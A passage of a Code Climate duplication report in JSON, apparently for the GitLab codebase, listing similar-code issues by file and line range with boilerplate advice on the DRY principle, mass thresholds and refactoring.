and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d67c2bf9c225577fade90666e5dfc6e3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":396,"end":405}},"remediation_points":190000,"other_locations":[{"path":"app/finders/issuable_finder.rb","lines":{"begin":410,"end":419}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d67c2bf9c225577fade90666e5dfc6e3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":410,"end":419}},"remediation_points":190000,"other_locations":[{"path":"app/finders/issuable_finder.rb","lines":{"begin":396,"end":405}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d67c2bf9c225577fade90666e5dfc6e3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/migrate_legacy_artifacts.rb","lines":{"begin":24,"end":61}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/background_migration/migrate_legacy_artifacts.rb","lines":{"begin":66,"end":104}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f75f6fbbc7064f4fdca08c087adf39c3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/migrate_legacy_artifacts.rb","lines":{"begin":66,"end":104}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/background_migration/migrate_legacy_artifacts.rb","lines":{"begin":24,"end":61}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f75f6fbbc7064f4fdca08c087adf39c3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/checks/change_access.rb","lines":{"begin":4,"end":17}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/git_access.rb","lines":{"begin":12,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef81133143dac9759b71c4ff2fbf45ed","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/git_access.rb","lines":{"begin":12,"end":25}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/checks/change_access.rb","lines":{"begin":4,"end":17}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"26fd0da9b8c1ef08c93581298c4ae63a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":564,"end":575}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/git/repository.rb","lines":{"begin":579,"end":590}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7853b1dd44bd6645b11dfd03b93082d6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":579,"end":590}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/git/repository.rb","lines":{"begin":564,"end":575}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7853b1dd44bd6645b11dfd03b93082d6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":211,"end":225}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":204,"end":210}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"85278ceed072f59d95f4d59bb38349cd","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":204,"end":210}},"remediation_points":190000,"other_locations":[{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":211,"end":225}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 27**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"84267e4195b1ef161585bb368ab56cb4","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/mailers/emails/profile.rb","lines":{"begin":13,"end":20}},"remediation_points":170000,"other_locations":[{"path":"app/mailers/emails/profile.rb","lines":{"begin":25,"end":32}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"08b3c569353eb654d48c0f3d5dfd5507","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/mailers/emails/profile.rb","lines":{"begin":25,"end":32}},"remediation_points":170000,"other_locations":[{"path":"app/mailers/emails/profile.rb","lines":{"begin":13,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"08b3c569353eb654d48c0f3d5dfd5507","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/prometheus_metric.rb","lines":{"begin":31,"end":43}},"remediation_points":170000,"other_locations":[{"path":"app/helpers/preferences_helper.rb","lines":{"begin":13,"end":22}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* 